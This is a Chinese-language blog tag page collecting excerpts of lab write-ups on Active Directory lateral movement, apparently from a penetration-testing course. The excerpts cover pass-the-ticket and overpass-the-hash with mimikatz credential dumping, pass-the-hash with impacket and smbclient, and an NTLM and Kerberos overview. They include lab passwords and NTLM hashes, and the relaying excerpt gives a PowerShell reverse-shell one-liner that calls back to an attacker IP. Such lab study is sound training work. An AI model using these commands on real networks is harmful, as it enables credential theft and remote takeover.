發表文章

目前顯示的是有「NTLM」標籤的文章

Active Directory 中的橫向移動 - PtT

圖片
 Active Directory 中的橫向移動 - PtT Pass the Ticket 使用 CORP\jen / Nexus123! RDP 登入到 Client76 └─$ xfreerdp /u:jen /p:'Nexus123!' /d:corp.com /v:192.168.191.76 直接存取 web04 上的 backup 資料夾看看 ls \\web04\backup 直接顯示 Access is denied 啟動 mimikatz 然後開啟 debug mode : privilege::debug 接著輸入 sekurlsa::tickets /export 從記憶體中匯出所有 TGT/TGS 可以看到 dave 的 Session Key 退出 mimikatz 執行 dir *.kirbi 這是因為 sekurlsa::tickets /export 顯示出來的結果是解析記憶體中的 LSASS 進程空間以查找任何 TGT/TGS,然後以 kirbi mimikatz 格式儲存到磁碟,所以我們直接列出所有的 *.kirbi 如下 因為我們的目標是 web04 所以將相關的 *.kirbi 專注在有 web04 的地方 可以看到是 dave @ web04,其中一筆是 [0;163e20]-0-0-40810000-dave@cifs-web04.kirbi 透過 mimikatz 的 ptt 方式執行 kerberos::ptt [0;163e20]-0-0-40810000-dave@cifs-web04.kirbi 再 klist 看一下,可以看到網域中 dave 的憑證了 針對的伺服器是 cifs/web04@corp.com 再執行 ls \\web04\backup 這一次沒有 Access is denied 了,直接列出相關的資源供查看 練習 : 與上面一樣,最後拿那個分享資料夾的 flag.txt 直接將 ls 改 type 即可讀取

Active Directory 中的橫向移動 - OPtH

圖片
 Active Directory 中的橫向移動 - OPtH 透過overpass the hash,我們可以「過度」濫用 NTLM 使用者哈希來獲得完整的 Kerberos 票證授予票證(TGT)。然後我們可以使用 TGT 來取得票據授予服務(TGS)。 先用已知的帳號密碼 jeff / HenchmanPutridBonbon11 登入到 Client76 └─$ xfreerdp /u:jeff /p:'HenchmanPutridBonbon11' /d:corp.com /v:192.168.191.76 按住 Shift 與滑鼠右鍵開啟某文字檔用另外一個使用者身分 這裡我們用網域的帳號密碼 jen / Nexus123! 來執行 Notepad 開啟後沒有任何需要,目的是要 jen 的憑證本機快取,所以可以直接關掉 接著直接執行 mimikatz,標準步驟 privilege::debug 再 sekurlsa::logonpasswords 目的是 jen 的 NTLM HASH "369def79d8372408bf6e93364cc93075" 接著一樣使用 mimikatz 工具執行 sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell 雖然使用的是 HASH PtH 驗證,但本質會將 NTLM 雜湊轉換為 Kerberos 票證並避免使用 NTLM 驗證,這是 sekurlsa::pth 指令的結果 如下圖,執行完畢後可以看到直接開啟了另一個 Powershell 視窗 但驗證 whoami 後卻發現是 jeff 而不是 jen,這是因為 whoami 無法檢查 Kerberos Token 執行 klist 可以看到也沒有 kerbers Token 接著我們使用 net use \\files04 後再執行一次 Klist 如下圖,可以看到都是帶入 jen 的驗證 這時候已經包含了 TGT & TGS 票眷 現在,我們已將 NTLM 雜湊轉換為 Kerberos TGT,從而允許我們使用任何依賴 Kerberos 驗證(而不是 ...

Active Directory 中的橫向移動 - PtH

圖片
 Active Directory 中的橫向移動 - PtH PtH 允許攻擊者使用使用者的 NTLM 雜湊而不是關聯的明文密碼,直接對遠端系統或服務進行身份驗證,請注意,這不適用於 Kerberos 驗證,而僅適用於使用 NTLM 驗證的伺服器或服務。 重點在於攻擊者使用伺服器訊息區塊(SMB) 協定連接到受害者,並使用 NTLM 雜湊執行身份驗證,所以目標機器必須有開啟 445 Port SMB 服務 之前拿到了 Files04 本機 Administrator 的 HASH "2892D26CDF84D7A70E2EB3B9F05C425E " 所以讓我們直接在 kali 攻擊機上使用 impacket-wmiexec 進行 PtH 如下指令 └─$ /usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.191.73 登入後 whoami、hostname、ipconfig 看一下確實是 Files04 機器 練習 : 執行傳遞哈希技術以橫向移動到 web04 以取得位於管理員桌面上的標誌 直接執行指令 └─$ /usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.191.72 看來每一台的 Administrator 使用的密碼都一樣,可以登入那就直接 type 拿 flag 吧

Active Directory 身分驗證概述

圖片
 Active Directory 身分驗證概述 NTLM Authentication 主要發生在兩個環境  - 使用者用 IP 向伺服器進行驗證(非透過主機名稱)  - 嘗試向未在 AD 整合的 DNS 伺服器上註冊主機名稱 NTLM 身分驗證協定由七個步驟組成如下圖  - 1. Client 端演算出 NTLM 雜湊 HASH  - 2. Client 端送出 Username  - 3. 伺服器端回應 Nonce (Nonce 稱為隨機值或質詢的隨機值)  - 4. 使用者端用 NTLM Hash 加密 Nonce 稱為 Response  - 5. 伺服器端將使用者名稱與 Nonce 以及 Response 送到身分驗證伺服器  - 6. 身分驗證伺服器依據該使用者的名稱對應的密碼雜湊加密 nonce 並比對 Response  - 7. 確認 Response 比對無誤回應伺服器 Approve Authentication NTLM Hash 在密碼長度不強的狀況下已經可以快速破解 練習 1 : 計算機根據使用者密碼計算出的加密雜湊函數的名稱是什麼? Ans : NTLM 練習 2 : NTLM 是什麼樣的雜湊演算法? Ans : fast-hashing Kerberos Authentication NTLM 驗證透過質詢和回應範例進行工作,而基於 Windows 的 Kerberos 驗證則使用票證系統 這兩個協定(基於底層系統)之間的一個關鍵差異是,使用 NTLM 驗證時,用戶端會使用應用程式伺服器本身啟動驗證過程,如 NTLM 介紹一樣,驗證是伺服器負責與身分驗證伺服器確認 Kerberos 用戶端身份驗證涉及使用充當金鑰分發中心(KDC) 角色的網域控制站 客戶端使用 KDC 而不是應用程式伺服器啟動身份驗證過程。KDC 服務在每個網域控制站上執行,負責為使用者和電腦提供會話票證和臨時會話金鑰,如下圖所示  - 1. Client 告知 DC 要伺服器的驗證存取 (AS-REQ,使用雜湊加密時間戳記) 驗證伺服器請求 (AS-REQ) 會傳送到網域控制器。充當 KDC 的網域控制站也維護身份驗證伺服器服務...

中繼(Relaying) Net-NTLMv2

圖片
 中繼(Relaying) Net-NTLMv2 靶機群組 #1 : 192.168.197.211、#2 : 192.168.197.212,已知帳號 files02admin 攻擊機 IP : 192.168.45.228 Relaying 中繼的意思就是收到後轉發到攻擊目標所以稱為 relay 還記得前面學過得先將 powershell 建立 reverse shell 的指令做出來如下 在 kali 開啟 powershell 編輯器 --> 輸入 pwsh 將整個 one-liner 轉成變數 $Text,如下的 PowerShell one-liner 要連到本機(192.168.45.228)建立的 4444 Port Listen PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.228",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' 將 $Text 先做 Encoding 轉成 $Bytes $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text) 再轉 Base64 $En...

NTLM PtH

圖片
 NTLM PtH 已知靶機 192.168.197.211,帳號 / 密碼 : gunther / password123! 透過 PTH 技術登入到靶機 192.168.197.212 並在 Administrator 桌面上找到 Flag  第一步先用已知的帳號密碼登入 192.168.197.211 登入後輸入 \\192.168.197.212\secrets,會跳出如下的帳號密碼驗證視窗 使用 gunther 與密碼 password123! 無法登入,所以看來第二台沒有該帳號權限 先抓取現有登入機器的 administrator 帳號 HASH 如下 7a38310ea6f0027ee955abed1762964b 從攻擊機直接透過 smbclient 指令,並指定使用者 administrator 然後密碼用 HASH 登入測試 └─$ smbclient \\\\192.168.197.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b 可以看到成功登入了 接下來使用 impacket 庫中的 psexec.py 腳本來拿 remote shell 由於 HASH 的格式為 "LMHash:NTHash" (LM 在現今系統已無使用,但還是要輸入不可空白) 使用如下指令登入,記得 LM Hash 要輸入一樣的長度,直接用 0 代替即可 └─$ impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.197.212 直接就拿到 remote shell 了,ipconfig 看一下確定是 192.168.197.212 那一台 直接到管理員桌面拿 flag 吧 因為 impacket 當中包含了許多指令與套件,我們可以使用另外一個 wmiexec 也可以成功拿到 remote shell,指令 └─$ impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0...